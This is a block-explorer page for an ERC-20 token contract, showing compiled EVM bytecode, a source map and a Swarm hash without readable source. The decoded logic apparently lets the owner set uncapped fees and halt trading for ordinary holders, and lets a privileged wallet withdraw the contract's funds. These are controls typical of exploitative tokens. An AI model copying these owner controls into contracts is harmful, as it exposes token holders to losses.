5f546001600160a01b031633146105d75760405162461bcd60e51b81526004016105ce9061130f565b60405180910390fd5b5f601655565b5f6105e9848484610ad7565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f1914610665576001600160a01b0384165f90815260026020908152604080832033845290915290205461064190839061134e565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146106985760405162461bcd60e51b81526004016105ce9061130f565b601094909455601192909255601255601355601455565b5f546001600160a01b031633146106d85760405162461bcd60e51b81526004016105ce9061130f565b601555565b5f546001600160a01b031633146107065760405162461bcd60e51b81526004016105ce9061130f565b601654156107465760405162461bcd60e51b815260206004820152600d60248201526c185b1c9958591e481cdd185c9d609a1b60448201526064016105ce565b43601655565b5f546001600160a01b031633146107755760405162461bcd60e51b81526004016105ce9061130f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606006805461050e906112d7565b5f546001600160a01b031633146107f55760405162461bcd60e51b81526004016105ce9061130f565b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b6003546001600160a01b03163314610835575f80fd5b6003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610886573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108aa9190611361565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af11580156108f2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109169190611378565b506003546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561094d573d5f803e3d5ffd5b5050565b5f61059b338484610ad7565b5f546001600160a01b031633146109865760405162461bcd60e51b81526004016105ce9061130f565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b5f546001600160a01b031633146109dd5760405162461bcd60e51b81526004016105ce9061130f565b6001600160a01b038116610a1e5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016105ce565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526001602052604090205481811015610b325760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016105ce565b600c5460ff1615610b4f57610b48848484610cf7565b5050505050565b6001600160a01b0383165f908152600b602052604081205460ff168015610b795750600c5460ff16155b8015610b9d57506001600160a01b0385165f9081526008602052604090205460ff16155b8015610bc157506001600160a01b0384165f9081526008602052604090205460ff16155b8015610bd05750601454600d54115b15610c1357305f908152600160205260409020548390811115610bfe5750305f908152600160205260409020545b601554811115610c1157610c1181610daa565b505b6001600160a01b0385165f9081526008602052604090205460ff16158015610c5357506001600160a01b0384165f9081526008602052604090205460ff16155b8015610c625750600c5460ff16155b15610ceb575f60165411610c74575f80fd5b506001600160a01b0384165f908152600b602052604090205460019060ff168015610cad5750600a546001600160a01b03858116911614155b8015610cd157506001600160a01b0384165f9081526008602052604090205460ff16155b15610ceb57600d8054905f610ce583611393565b91905055505b610b4885858584610f42565b6001600160a01b0383165f90815260016020526040812080548391908390610d2090849061134e565b90915550506001600160a01b0383165f9081526001602052604081208054849290610d4c9084906113ab565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d9891815260200190565b60405180910390a35060019392505050565b600c805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610dea57610dea6113be565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e41573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e6591906113d2565b81600181518110610e7857610e786113be565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac94790610ebd9085905f908690309042906004016113ed565b5f604051808303815f87803b158015610ed4575f80fd5b505af1158015610ee6573d5f803e3d5ffd5b504792505050662386f26fc10000811115610f33576004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610f31573d5f803e3d5ffd5b505b5050600c805460ff1916905550565b6001600160a01b0384165f90815260016020526040902054610f6590839061134e565b6001600160a01b0385165f9081526001602052604081209190915581156110a0576001600160a01b0384165f908152600b602052604081205460ff1615610fc457601354600d5411610fb957600f54610fbd565b6011545b9050610ffe565b6001600160a01b0386165f908152600b602052604090205460ff1615610ffe57601254600d5411610ff757600e54610ffb565b6010545b90505b5f606461100b838761145c565b6110159190611473565b9050801561109d5761102781846113ab565b305f908152600160205260409020549093506110449082906113ab565b305f81815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110949085815260200190565b60405180910390a35b50505b6110aa818461134e565b6001600160a01b0385165f908152600160205260409020546110cc91906113ab565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611115848761134e565b60405190815260200160405180910390a35050505050565b5f6020808352835180828501525f5b818110156111585785810183015185820160400152820161113c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461118c575f80fd5b50565b5f80604083850312156111a0575f80fd5b82356111ab81611178565b946020939093013593505050565b5f805f606084860312156111cb575f80fd5b83356111d681611178565b925060208401356111e681611178565b929592945050506040919091013590565b5f60208284031215611207575f80fd5b813561121281611178565b9392505050565b5f805f805f60a0868803121561122d575f80fd5b505083359560208501359550604085013594606081013594506080013592509050565b5f60208284031215611260575f80fd5b5035919050565b801515811461118c575f80fd5b5f8060408385031215611285575f80fd5b823561129081611178565b915060208301356112a081611267565b809150509250929050565b5f80604083850312156112bc575f80fd5b82356112c781611178565b915060208301356112a081611178565b600181811c908216806112eb57607f821691505b60208210810361130957634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561059f5761059f61133a565b5f60208284031215611371575f80fd5b5051919050565b5f60208284031215611388575f80fd5b815161121281611267565b5f600182016113a4576113a461133a565b5060010190565b8082018082111561059f5761059f61133a565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113e2575f80fd5b815161121281611178565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561143b5784516001600160a01b031683529383019391830191600101611416565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761059f5761059f61133a565b5f8261148d57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220fc0050041808a7b1f38616775ee759d2a4a2b916b8f34cf1b4f7c379082ef12964736f6c63430008140033

Deployed Bytecode Sourcemap

2998:8375:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5269:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6032:159;;;;;;;;;;-1:-1:-1;6032:159:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6032:159:0;1023:187:1;10295:78:0;;;;;;;;;;;;;:::i;:::-;;5473:100;;;;;;;;;;-1:-1:-1;5553:12:0;;5473:100;;;1361:25:1;;;1349:2;1334:18;5473:100:0;1215:177:1;6199:336:0;;;;;;;;;;-1:-1:-1;6199:336:0;;;;;:::i;:::-;;:::i;6995:26::-;;;;;;;;;;;;;;;;5371:94;;;;;;;;;;-1:-1:-1;5448:9:0;;5371:94;;5448:9;;;;2000:36:1;;1988:2;1973:18;5371:94:0;1858:184:1;3321:49:0;;;;;;;;;;-1:-1:-1;3321:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3455:44;;;;;;;;;;-1:-1:-1;3455:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7313:406;;;;;;;;;;-1:-1:-1;7313:406:0;;;;;:::i;:::-;;:::i;3581:27::-;;;;;;;;;;-1:-1:-1;3581:27:0;;;;;;;-1:-1:-1;;;;;3581:27:0;;;;;;-1:-1:-1;;;;;2922:32:1;;;2904:51;;2892:2;2877:18;3581:27:0;2758:203:1;10105:30:0;;;;;;;;;;;;;;;;7754:117;;;;;;;;;;-1:-1:-1;7754:117:0;;;;;:::i;:::-;;:::i;3412:36::-;;;;;;;;;;-1:-1:-1;3412:36:0;;;;-1:-1:-1;;;;;3412:36:0;;;10142:145;;;;;;;;;;;;;:::i;5581:119::-;;;;;;;;;;-1:-1:-1;5581:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5674:18:0;5647:7;5674:18;;;:9;:18;;;;;;;5581:119;2621:148;;;;;;;;;;;;;:::i;3167:26::-;;;;;;;;;;-1:-1:-1;3167:26:0;;;;-1:-1:-1;;;;;3167:26:0;;;2424:79;;;;;;;;;;-1:-1:-1;2462:7:0;2489:6;-1:-1:-1;;;;;2489:6:0;2424:79;;5163:98;;;;;;;;;;;;;:::i;11204:129::-;;;;;;;;;;-1:-1:-1;11204:129:0;;;;;:::i;:::-;;:::i;10381:217::-;;;;;;;;;;-1:-1:-1;10381:217:0;;;;;:::i;:::-;;:::i;5708:165::-;;;;;;;;;;-1:-1:-1;5708:165:0;;;;;:::i;:::-;;:::i;4993:162::-;;;;;;;;;;-1:-1:-1;4993:162:0;;;;;:::i;:::-;;:::i;5881:143::-;;;;;;;;;;-1:-1:-1;5881:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5989:18:0;;;5962:7;5989:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5881:143;2777:214;;;;;;;;;;-1:-1:-1;2777:214:0;;;;;:::i;:::-;;:::i;5269:94::-;5317:13;5350:5;5343:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5269:94;:::o;6032:159::-;6107:4;6124:37;6133:10;6145:7;6154:6;6124:8;:37::i;:::-;-1:-1:-1;6179:4:0;6032:159;;;;;:::o;10295:78::-;2551:6;;-1:-1:-1;;;;;2551:6:0;2561:10;2551:20;2543:50;;;;-1:-1:-1;;;2543:50:0;;;;;;;:::i;:::-;;;;;;;;;10364:1:::1;10346:15;:19:::0;10295:78::o;6199:336::-;6297:4;6314:36;6324:6;6332:9;6343:6;6314:9;:36::i;:::-;-1:-1:-1;;;;;6365:19:0;;3572:1;6365:19;;;:11;:19;;;;;;;;6385:10;6365:31;;;;;;;;-1:-1:-1;;6365:38:0;6361:145;;-1:-1:-1;;;;;6454:19:0;;;;;;:11;:19;;;;;;;;6474:10;6454:31;;;;;;;;:40;;6488:6;;6454:40;:::i;:::-;-1:-1:-1;;;;;6420:19:0;;;;;;:11;:19;;;;;;;;6440:10;6420:31;;;;;;;:74;6361:145;-1:-1:-1;6523:4:0;6199:336;;;;;:::o;7313:406::-;2551:6;;-1:-1:-1;;;;;2551:6:0;2561:10;2551:20;2543:50;;;;-1:-1:-1;;;2543:50:0;;;;;;;:::i;:::-;7520:12:::1;:21:::0;;;;7552:13:::1;:23:::0;;;;7586:15:::1;:30:::0;7627:16:::1;:32:::0;7670:18:::1;:41:::0;7313:406::o;7754:117::-;2551:6;;-1:-1:-1;;;;;2551:6:0;2561:10;2551:20;2543:50;;;;-1:-1:-1;;;2543:50:0;;;;;;;:::i;:::-;7840:12:::1;:23:::0;7754:117::o;10142:145::-;2551:6;;-1:-1:-1;;;;;2551:6:0;2561:10;2551:20;2543:50;;;;-1:-1:-1;;;2543:50:0;;;;;;;:::i;:::-;10200:15:::1;::::0;:20;10192:46:::1;;;::::0;-1:-1:-1;;;10192:46:0;;6115:2:1;10192:46:0::1;::::0;::::1;6097:21:1::0;6154:2;6134:18;;;6127:30;-1:-1:-1;;;6173:18:1;;;6166:43;6226:18;;10192:46:0::1;5913:337:1::0;10192:46:0::1;10267:12;10249:15;:30:::0;10142:145::o;2621:148::-;2551:6;;-1:-1:-1;;;;;2551:6:0;2561:10;2551:20;2543:50;;;;-1:-1:-1;;;2543:50:0;;;;;;;:::i;:::-;2728:1:::1;2712:6:::0;;2691:40:::1;::::0;-1:-1:-1;;;;;2712:6:0;;::::1;::::0;2691:40:::1;::::0;2728:1;;2691:40:::1;2759:1;2742:19:::0;;-1:-1:-1;;;;;;2742:19:0::1;::::0;;2621:148::o;5163:98::-;5213:13;5246:7;5239:14;;;;;:::i;11204:129::-;2551:6;;-1:-1:-1;;;;;2551:6:0;2561:10;2551:20;2543:50;;;;-1:-1:-1;;;2543:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11291:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;11291:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11204:129::o;10381:217::-;10460:3;;-1:-1:-1;;;;;10460:3:0;10446:10;:17;10438:26;;;;;;10499:3;;10504:39;;-1:-1:-1;;;10504:39:0;;10537:4;10504:39;;;2904:51:1;-1:-1:-1;;;;;10475:23:0;;;;;;10499:3;;;10475:23;;10504:24;;2877:18:1;;10504:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10475:69;;-1:-1:-1;;;;;;10475:69:0;;;;;;;-1:-1:-1;;;;;6644:32:1;;;10475:69:0;;;6626:51:1;6693:18;;;6686:34;6599:18;;10475:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;10555:3:0;;:35;;-1:-1:-1;;;;;10555:3:0;;;;10568:21;10555:35;;;;;:3;:35;:3;:35;10568:21;10555:3;:35;;;;;;;;;;;;;;;;;;;;;10381:217;:::o;5708:165::-;5786:4;5803:40;5813:10;5825:9;5836:6;5803:9;:40::i;4993:162::-;2551:6;;-1:-1:-1;;;;;2551:6:0;2561:10;2551:20;2543:50;;;;-1:-1:-1;;;2543:50:0;;;;;;;:::i;:::-;5110:3:::1;:12:::0;;-1:-1:-1;;;;;5110:12:0;;::::1;-1:-1:-1::0;;;;;;5110:12:0;;::::1;;::::0;;;5133:4:::1;:14:::0;;;;;::::1;::::0;::::1;;::::0;;4993:162::o;2777:214::-;2551:6;;-1:-1:-1;;;;;2551:6:0;2561:10;2551:20;2543:50;;;;-1:-1:-1;;;2543:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2866:22:0;::::1;2858:43;;;::::0;-1:-1:-1;;;2858:43:0;;7183:2:1;2858:43:0::1;::::0;::::1;7165:21:1::0;7222:1;7202:18;;;7195:29;-1:-1:-1;;;7240:18:1;;;7233:38;7288:18;;2858:43:0::1;6981:331:1::0;2858:43:0::1;2938:6;::::0;;2917:38:::1;::::0;-1:-1:-1;;;;;2917:38:0;;::::1;::::0;2938:6;::::1;::::0;2917:38:::1;::::0;::::1;2966:6;:17:::0;;-1:-1:-1;;;;;;2966:17:0::1;-1:-1:-1::0;;;;;2966:17:0;;;::::1;::::0;;;::::1;::::0;;2777:214::o;6543:177::-;-1:-1:-1;;;;;6628:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6680:32;;1361:25:1;;;6680:32:0;;1334:18:1;6680:32:0;;;;;;;6543:177;;;:::o;7879:1177::-;-1:-1:-1;;;;;5674:18:0;;7993:15;5674:18;;;:9;:18;;;;;;8045:17;;;;8037:46;;;;-1:-1:-1;;;8037:46:0;;7519:2:1;8037:46:0;;;7501:21:1;7558:2;7538:18;;;7531:30;-1:-1:-1;;;7577:18:1;;;7570:46;7633:18;;8037:46:0;7317:340:1;8037:46:0;8100:6;;;;8096:91;;;8122:32;8137:4;8143:2;8147:6;8122:14;:32::i;:::-;;8169:7;7879:1177;;;:::o;8096:91::-;-1:-1:-1;;;;;8228:16:0;;8199:12;8228:16;;;:12;:16;;;;;;;;:27;;;;-1:-1:-1;8249:6:0;;;;8248:7;8228:27;:55;;;;-1:-1:-1;;;;;;8260:23:0;;;;;;:17;:23;;;;;;;;8259:24;8228:55;:81;;;;-1:-1:-1;;;;;;8288:21:0;;;;;;:17;:21;;;;;;;;8287:22;8228:81;:115;;;;;8325:18;;8313:9;;:30;8228:115;8224:424;;;8443:4;5647:7;5674:18;;;:9;:18;;;;;;8384:6;;8409:13;:40;8405:120;;;-1:-1:-1;8503:4:0;8485:24;;;;:9;:24;;;;;;8405:120;8559:12;;8543:13;:28;8539:98;;;8591:30;8607:13;8591:15;:30::i;:::-;8345:303;8224:424;-1:-1:-1;;;;;8665:23:0;;;;;;:17;:23;;;;;;;;8664:24;:50;;;;-1:-1:-1;;;;;;8693:21:0;;;;;;:17;:21;;;;;;;;8692:22;8664:50;:61;;;;-1:-1:-1;8719:6:0;;;;8718:7;8664:61;8660:335;;;8768:1;8750:15;;:19;8742:28;;;;;;-1:-1:-1;;;;;;8857:18:0;;;;;;:12;:18;;;;;;8795:4;;8857:18;;:51;;;;-1:-1:-1;8893:14:0;;-1:-1:-1;;;;;8879:29:0;;;8893:14;;8879:29;;8857:51;:77;;;;-1:-1:-1;;;;;;8913:21:0;;;;;;:17;:21;;;;;;;;8912:22;8857:77;8853:129;;;8955:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8853:129;9007:41;9022:4;9028:2;9032:6;9040:7;9007:14;:41::i;6728:259::-;-1:-1:-1;;;;;6838:17:0;;6821:4;6838:17;;;:9;:17;;;;;:27;;6859:6;;6838:17;6821:4;;6838:27;;6859:6;;6838:27;:::i;:::-;;;;-1:-1:-1;;;;;;;6876:20:0;;;;;;:9;:20;;;;;:30;;6900:6;;6876:20;:30;;6900:6;;6876:30;:::i;:::-;;;;;;;;6939:9;-1:-1:-1;;;;;6922:35:0;6931:6;-1:-1:-1;;;;;6922:35:0;;6950:6;6922:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;6922:35:0;;;;;;;;-1:-1:-1;6975:4:0;6728:259;;;;;:::o;10606:590::-;3647:6;:13;;-1:-1:-1;;3647:13:0;3656:4;3647:13;;;10707:16:::1;::::0;;10721:1:::1;10707:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10707:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10707:16:0::1;10683:40;;10752:4;10734;10739:1;10734:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10734:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10778:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;10778:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;10734:7;;10778:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10768:4;10773:1;10768:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10768:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;10810:14:::1;::::0;:195:::1;::::0;-1:-1:-1;;;10810:195:0;;:14;::::1;::::0;:65:::1;::::0;:195:::1;::::0;10890:11;;10810:14:::1;::::0;10932:4;;10959::::1;::::0;10979:15:::1;::::0;10810:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;11033:21:0::1;::::0;-1:-1:-1;;;11076:10:0::1;11069:17:::0;::::1;11065:124;;;11141:4;::::0;:36:::1;::::0;-1:-1:-1;;;;;11141:4:0;;::::1;::::0;11155:21:::1;11141:36:::0;::::1;;;::::0;:4:::1;:36:::0;:4;:36;11155:21;11141:4;:36;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11065:124;-1:-1:-1::0;;3683:6:0;:14;;-1:-1:-1;;3683:14:0;;;-1:-1:-1;10606:590:0:o;9064:1031::-;-1:-1:-1;;;;;9236:17:0;;;;;;:9;:17;;;;;;:27;;9256:7;;9236:27;:::i;:::-;-1:-1:-1;;;;;9216:17:0;;;;;;:9;:17;;;;;:47;;;;9304:638;;;;-1:-1:-1;;;;;9365:23:0;;9332:14;9365:23;;;:12;:23;;;;;;;;9361:270;;;9430:16;;9418:9;;:28;:62;;9465:15;;9418:62;;;9449:13;;9418:62;9409:71;;9361:270;;;-1:-1:-1;;;;;9506:20:0;;;;;;:12;:20;;;;;;;;9502:129;;;9568:15;;9556:9;;:27;:59;;9601:14;;9556:59;;;9586:12;;9556:59;9547:68;;9502:129;9645:18;9685:3;9666:16;9676:6;9666:7;:16;:::i;:::-;:22;;;;:::i;:::-;9645:43;-1:-1:-1;9707:14:0;;9703:228;;9742:23;9755:10;9742:23;;:::i;:::-;9829:4;9811:24;;;;:9;:24;;;;;;9742:23;;-1:-1:-1;9811:37:0;;9838:10;;9811:37;:::i;:::-;9802:4;9784:24;;;;:9;:24;;;;;;;:64;;;;9872:43;;-1:-1:-1;;;;;9872:43:0;;;;;;;9904:10;1361:25:1;;1349:2;1334:18;;1215:177;9872:43:0;;;;;;;;9703:228;9317:625;;9304:638;10001:19;10011:9;10001:7;:19;:::i;:::-;-1:-1:-1;;;;;9977:20:0;;;;;;:9;:20;;;;;;:44;;;;:::i;:::-;-1:-1:-1;;;;;9954:20:0;;;;;;;:9;:20;;;;;:67;;;;10037:48;;;10065:19;10075:9;10065:7;:19;:::i;:::-;10037:48;;1361:25:1;;;1349:2;1334:18;10037:48:0;;;;;;;9205:890;9064:1031;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;:::-;2283:5;2047:247;-1:-1:-1;;;2047:247:1:o;2299:454::-;2394:6;2402;2410;2418;2426;2479:3;2467:9;2458:7;2454:23;2450:33;2447:53;;;2496:1;2493;2486:12;2447:53;-1:-1:-1;;2519:23:1;;;2589:2;2574:18;;2561:32;;-1:-1:-1;2640:2:1;2625:18;;2612:32;;2691:2;2676:18;;2663:32;;-1:-1:-1;2742:3:1;2727:19;2714:33;;-1:-1:-1;2299:454:1;-1:-1:-1;2299:454:1:o;2966:180::-;3025:6;3078:2;3066:9;3057:7;3053:23;3049:32;3046:52;;;3094:1;3091;3084:12;3046:52;-1:-1:-1;3117:23:1;;2966:180;-1:-1:-1;2966:180:1:o;3605:118::-;3691:5;3684:13;3677:21;3670:5;3667:32;3657:60;;3713:1;3710;3703:12;3728:382;3793:6;3801;3854:2;3842:9;3833:7;3829:23;3825:32;3822:52;;;3870:1;3867;3860:12;3822:52;3909:9;3896:23;3928:31;3953:5;3928:31;:::i;:::-;3978:5;-1:-1:-1;4035:2:1;4020:18;;4007:32;4048:30;4007:32;4048:30;:::i;:::-;4097:7;4087:17;;;3728:382;;;;;:::o;4115:404::-;4199:6;4207;4260:2;4248:9;4239:7;4235:23;4231:32;4228:52;;;4276:1;4273;4266:12;4228:52;4315:9;4302:23;4334:31;4359:5;4334:31;:::i;:::-;4384:5;-1:-1:-1;4441:2:1;4426:18;;4413:32;4454:33;4413:32;4454:33;:::i;4917:380::-;4996:1;4992:12;;;;5039;;;5060:61;;5114:4;5106:6;5102:17;5092:27;;5060:61;5167:2;5159:6;5156:14;5136:18;5133:38;5130:161;;5213:10;5208:3;5204:20;5201:1;5194:31;5248:4;5245:1;5238:15;5276:4;5273:1;5266:15;5130:161;;4917:380;;;:::o;5302:341::-;5504:2;5486:21;;;5543:2;5523:18;;;5516:30;-1:-1:-1;;;5577:2:1;5562:18;;5555:47;5634:2;5619:18;;5302:341::o;5648:127::-;5709:10;5704:3;5700:20;5697:1;5690:31;5740:4;5737:1;5730:15;5764:4;5761:1;5754:15;5780:128;5847:9;;;5868:11;;;5865:37;;;5882:18;;:::i;6255:184::-;6325:6;6378:2;6366:9;6357:7;6353:23;6349:32;6346:52;;;6394:1;6391;6384:12;6346:52;-1:-1:-1;6417:16:1;;6255:184;-1:-1:-1;6255:184:1:o;6731:245::-;6798:6;6851:2;6839:9;6830:7;6826:23;6822:32;6819:52;;;6867:1;6864;6857:12;6819:52;6899:9;6893:16;6918:28;6940:5;6918:28;:::i;7662:135::-;7701:3;7722:17;;;7719:43;;7742:18;;:::i;:::-;-1:-1:-1;7789:1:1;7778:13;;7662:135::o;7802:125::-;7867:9;;;7888:10;;;7885:36;;;7901:18;;:::i;8064:127::-;8125:10;8120:3;8116:20;8113:1;8106:31;8156:4;8153:1;8146:15;8180:4;8177:1;8170:15;8196:251;8266:6;8319:2;8307:9;8298:7;8294:23;8290:32;8287:52;;;8335:1;8332;8325:12;8287:52;8367:9;8361:16;8386:31;8411:5;8386:31;:::i;8452:980::-;8714:4;8762:3;8751:9;8747:19;8793:6;8782:9;8775:25;8819:2;8857:6;8852:2;8841:9;8837:18;8830:34;8900:3;8895:2;8884:9;8880:18;8873:31;8924:6;8959;8953:13;8990:6;8982;8975:22;9028:3;9017:9;9013:19;9006:26;;9067:2;9059:6;9055:15;9041:29;;9088:1;9098:195;9112:6;9109:1;9106:13;9098:195;;;9177:13;;-1:-1:-1;;;;;9173:39:1;9161:52;;9268:15;;;;9233:12;;;;9209:1;9127:9;9098:195;;;-1:-1:-1;;;;;;;9349:32:1;;;;9344:2;9329:18;;9322:60;-1:-1:-1;;;9413:3:1;9398:19;9391:35;9310:3;8452:980;-1:-1:-1;;;8452:980:1:o;9437:168::-;9510:9;;;9541;;9558:15;;;9552:22;;9538:37;9528:71;;9579:18;;:::i;9610:217::-;9650:1;9676;9666:132;;9720:10;9715:3;9711:20;9708:1;9701:31;9755:4;9752:1;9745:15;9783:4;9780:1;9773:15;9666:132;-1:-1:-1;9812:9:1;;9610:217::o

Swarm Source

ipfs://fc0050041808a7b1f38616775ee759d2a4a2b916b8f34cf1b4f7c379082ef129
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.